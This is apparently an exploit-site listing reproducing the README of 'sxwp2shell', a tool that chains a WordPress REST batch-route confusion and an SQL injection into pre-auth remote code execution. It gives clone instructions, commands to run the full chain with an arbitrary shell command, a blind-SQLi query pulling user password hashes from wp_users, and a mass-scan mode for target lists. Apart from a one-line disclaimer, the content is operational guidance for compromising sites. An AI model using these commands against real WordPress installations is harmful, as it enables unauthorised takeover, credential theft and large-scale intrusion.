Exploit for CVE-2026-60137 CVE-2026-60137 CVE-2026-63030

## https://sploitus.com/exploit?id=A1DF8B9F-0665-5087-B5AD-A44ED42C4155
```
  / ___/___  ____  / /_(_)___  ___  / / | |/ /
  \__ \/ _ \/ __ \/ __/ / __ \/ _ \/ /  |   /
 ___/ /  __/ / / / /_/ / / / /  __/ /___/   |
/____/\___/_/ /_/\__/_/_/ /_/\___/_____/_/|_|
```

**sxwp2shell** — Pre-auth RCE exploit for WordPress via REST API batch-route confusion (CVE-2026-63030) + SQL injection (CVE-2026-60137).

`Affected: WP 6.9.0–6.9.4 / 7.0.0–7.0.1`

---

### Install

```bash
git clone https://github.com/SentinelXofficial/sxwp2shell
cd sxwp2shell
chmod +x sxwp2shell.py
```

Python 3.7+, standard library only — no pip install needed.

### Usage

| Command | What it does |
|---------|-------------|
| `check ` | Detect version, batch endpoint, route confusion & SQLi |
| `exploit ` | Full RCE chain (SQLi → admin creation → shell) |
| `read ` | Blind SQLi data extraction |
| `scan ` | Mass scan targets from file, export CSV |

```bash
python3 sxwp2shell.py check https://target.com
python3 sxwp2shell.py exploit https://target.com --cmd id
python3 sxwp2shell.py read https://target.com --query "SELECT user_pass FROM wp_users"
python3 sxwp2shell.py scan targets.txt -o results.csv
```

### Options

```
--cmd CMD         Command to execute          (default: id)
--query QUERY     Custom SQL query
-k, --insecure    Skip SSL verification
--proxy PROXY     HTTP proxy
--timeout SEC     Request timeout              (default: 15)
--delay SEC       Delay between requests
--agent AGENT     Custom User-Agent
--no-color        Disable colored output
-o, --output      Save scan results to CSV
```

### Disclaimer

For authorized security testing only. Read `DISCLAIMER.md`.